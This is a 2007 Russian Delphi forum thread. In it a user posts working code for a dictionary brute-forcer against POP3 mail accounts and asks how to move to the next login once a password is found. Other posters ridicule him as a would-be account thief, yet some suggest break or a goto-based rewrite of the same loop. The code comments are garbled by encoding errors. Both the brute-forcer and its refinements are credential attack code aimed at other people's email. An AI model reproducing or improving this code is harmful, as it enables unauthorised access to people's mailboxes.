Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблема

Страницы: < 1 2 3 >
Bast © (2007-08-21 01:19:00)
Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute; var LoginStrings:TStrings; PassStrings:TStrings; i,j:integer; begin LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé LoginStrings.LoadFromFile(form1.Edit3.Text); PassStrings.LoadFromFile(form1.Edit4.Text); form1.IdPOP31.Host:=form1.Edit1.Text; form1.IdPOP31.Port:=strtoint(form1.Edit2.Text); for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin form1.IdPOP31.UserName:=LoginStrings.Strings[i]; form1.IdPOP31.Password:=PassStrings.Strings[j]; form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]); //Ïîïûòêà ñîåäèíåíèÿ. try form1.IdPOP31.Connect; except end; if form1.IdPOP31.Connected then begin form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]); i:=i+1; form1.IdPOP31.Disconnect; end; form1.IdPOP31.Disconnect; end; end; end.

Bast (2007-08-21 11:29:00) [21]
break; это не то, он останавливает цикл, а мне нужно не остановить, а передвинуть

DrPass (2007-08-21 11:29:00) [22]

> Сергей М. © (21.08.07 11:27) [21]

Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем заняться. Скоро будет баландой завтракать

Сергей М. (2007-08-21 11:27:00) [23]

> Bast

Т.е. в http://www.delphimaster.ru/cgi-bin/forum.pl?id=1187604813&n=18ты тыришь у жертвы мыльные адреса, а в этом сабже пытаешься отбрутфорсить их ?

Нехорошо, дядя, гадить, ой нехорошо)

Как тебе не ай-ай-ай ?)

Bast (2007-08-21 11:25:00) [24]

> ... научишь такого потом письма из ящиков пропадать начнут.
> ...

Обижаешь...

Сергей М. (2007-08-21 11:19:00) [25]

> Bast (21.08.07 11:12) [16]

см. [4]

sniknik (2007-08-21 11:15:00) [26]
> Write-only user
и слава Гейтцу!

sniknik (2007-08-21 11:14:00) [27]
... научишь такого потом письма из ящиков пропадать начнут....

Bast (2007-08-21 11:12:00) [28]
ну смотрите
нашелся пароль от email tt@tt.ru, а он все еще продолжает подюирать пароли к tt@tt.ru, мне нужно чтобы если пароль нашелся, то перестал подбирать к пароли к tt@tt.ru и начал подбирать пароль к след. email который лежит в login.txt

Сергей М. (2007-08-21 11:09:00) [29]

> i передвинулась

Как это "передвинулось" ?

> на 1 строки ниже

Ниже чего?!

wp2 (2007-08-21 11:05:00) [30]
Аффтар, учи паскаль.

Игорь Шевченко (2007-08-21 10:46:00) [31]
Write-only user

Bast (2007-08-21 10:45:00) [32]
Мне нжуно чтобы i передвинулась на 1 строки ниже если пароль нашелся

DrPass (2007-08-21 10:43:00) [33]

> Dib@zol © (21.08.07 10:28) [9]

_end - это некузяво. Реальные пацаны обозначают метки цифрами 1, 2, 3... и так далее

wp2 (2007-08-21 10:30:00) [34]
LoginStrings.LoadFromFile(form1.Edit3.Text);

мдя... это ж надо было такое замутить.

LoginStrings.Add(Edit3.Text)

Dib@zol (2007-08-21 10:28:00) [35]
Реально, ставь goto и радовайся жизни! :)

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
i:=i+1;
//form1.IdPOP31.Disconnect;
goto _end;
end;
_end:
form1.IdPOP31.Disconnect;
end;
end;
end.

Типа так?

Сергей М. (2007-08-21 10:24:00) [36]

> DrPass © (21.08.07 10:13) [7]

Ну может он еще не совсем безнадежен)..

DrPass (2007-08-21 10:13:00) [37]

> Сергей М. © (21.08.07 09:07) [2]
>
> > хочу перейти сразу на другую строчку
>
>
> "Сразу" это как ?
> "На другую" это какую ?
>
> Почему не выполняешь требования по синхронизации обращений
> к vcl-контролам с основным тредом ?

Ты говоришь о синхронизации человеку, который не может самостоятельно выйти из цикла?

Slym (2007-08-21 09:45:00) [38]
Anatoly Podgoretsky © (21.08.07 9:34) [3]
Очередной кулхацкер пишет брутфорс на почтовый аккаунт

Сергей М. (2007-08-21 09:44:00) [39]
Ну так и сделай break, в чем проблема-то ?)

max_ (2007-08-21 09:43:00) [40]
break

Страницы: < 1 2 3 >

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »